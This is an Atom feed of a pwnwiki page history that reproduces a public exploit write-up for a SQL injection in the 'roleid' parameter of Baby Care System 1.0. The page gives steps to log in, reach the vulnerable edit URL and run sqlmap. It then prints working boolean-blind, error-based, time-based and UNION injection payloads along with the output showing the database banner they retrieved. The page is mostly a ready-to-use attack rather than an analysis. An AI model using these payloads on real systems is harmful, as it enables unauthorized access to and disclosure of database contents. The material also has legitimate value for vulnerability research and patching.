<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Baby_Care_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Baby Care System 1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Baby_Care_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Baby_Care_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-08T00:03:47Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Baby_Care_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1307&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== &lt;pre&gt; # Exploit Title: Baby Care System 1.0 - 'roleid' SQL Injection # Exploit Author: Vijay Sachdeva # Date: 2020-12-23 # Vendor Homepage: https://www.sourcecodester...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Baby_Care_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=1307&amp;oldid=prev"/>
		<updated>2021-04-09T08:53:27Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== &amp;lt;pre&amp;gt; # Exploit Title: Baby Care System 1.0 - &amp;#039;roleid&amp;#039; SQL Injection # Exploit Author: Vijay Sachdeva # Date: 2020-12-23 # Vendor Homepage: https://www.sourcecodester...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Baby Care System 1.0 - 'roleid' SQL Injection&lt;br /&gt;
# Exploit Author: Vijay Sachdeva&lt;br /&gt;
# Date: 2020-12-23&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/download-code?nid=14622&amp;amp;title=Baby+Care+System+in+PHP%2FMySQLi+with+Full+Source+Code+&lt;br /&gt;
# Affected Version: Version 1&lt;br /&gt;
# Tested on Kali Linux&lt;br /&gt;
&lt;br /&gt;
Step 1. Log in to the application with admin credentials.&lt;br /&gt;
&lt;br /&gt;
Step 2. Click on &amp;quot;MENUS&amp;quot; on the left side and then edit any &amp;quot;Page Role&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Step 3. On the edit page, the URL should be: http://localhost/BabyCare-master/admin.php?id=pagerole&amp;amp;action=edit&amp;amp;roleid=7&lt;br /&gt;
&lt;br /&gt;
Step 4. Run sqlmap on the URL where the &amp;quot;roleid&amp;quot; parameter is given&lt;br /&gt;
&lt;br /&gt;
sqlmap -u &amp;quot;&lt;br /&gt;
http://192.168.1.240/BabyCare-master/admin.php?id=pagerole&amp;amp;action=edit&amp;amp;roleid=7&amp;quot;&lt;br /&gt;
--banner&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
Parameter: roleid (GET)&lt;br /&gt;
&lt;br /&gt;
    Type: boolean-based blind&lt;br /&gt;
&lt;br /&gt;
    Title: AND boolean-based blind - WHERE or HAVING clause&lt;br /&gt;
&lt;br /&gt;
    Payload: id=pagerole&amp;amp;action=edit&amp;amp;roleid=8' AND 3077=3077 AND&lt;br /&gt;
'IPDn'='IPDn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Type: error-based&lt;br /&gt;
&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP&lt;br /&gt;
BY clause (FLOOR)&lt;br /&gt;
&lt;br /&gt;
    Payload: id=pagerole&amp;amp;action=edit&amp;amp;roleid=8' AND (SELECT 2834 FROM(SELECT&lt;br /&gt;
COUNT(*),CONCAT(0x7170767871,(SELECT&lt;br /&gt;
(ELT(2834=2834,1))),0x71717a6271,FLOOR(RAND(0)*2))x FROM&lt;br /&gt;
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'jnFT'='jnFT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Type: time-based blind&lt;br /&gt;
&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&lt;br /&gt;
&lt;br /&gt;
    Payload: id=pagerole&amp;amp;action=edit&amp;amp;roleid=8' AND (SELECT 4559 FROM&lt;br /&gt;
(SELECT(SLEEP(5)))jaEa) AND 'iBGT'='iBGT&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    Type: UNION query&lt;br /&gt;
&lt;br /&gt;
    Title: Generic UNION query (NULL) - 4 columns&lt;br /&gt;
&lt;br /&gt;
    Payload: id=pagerole&amp;amp;action=edit&amp;amp;roleid=-2488' UNION ALL SELECT&lt;br /&gt;
CONCAT(0x7170767871,0x7577594366596d7077424f5746685366434a5244775565756b7a41566d63546c5156564e6d67556e,0x71717a6271),NULL,NULL,NULL--&lt;br /&gt;
-&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
[05:32:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
&lt;br /&gt;
[05:32:00] [INFO] fetching banner&lt;br /&gt;
&lt;br /&gt;
back-end DBMS: MySQL &amp;gt;= 5.0 (MariaDB fork)&lt;br /&gt;
&lt;br /&gt;
banner: '10.3.24-MariaDB-2'&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
[08:18:34] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
&lt;br /&gt;
[08:18:34] [INFO] fetching banner&lt;br /&gt;
&lt;br /&gt;
back-end DBMS: MySQL &amp;gt;= 5.0.12 (MariaDB fork)&lt;br /&gt;
&lt;br /&gt;
banner: '10.3.24-MariaDB-2'&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
Step 5. Sqlmap should inject the web-app successfully which leads to information disclosure.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>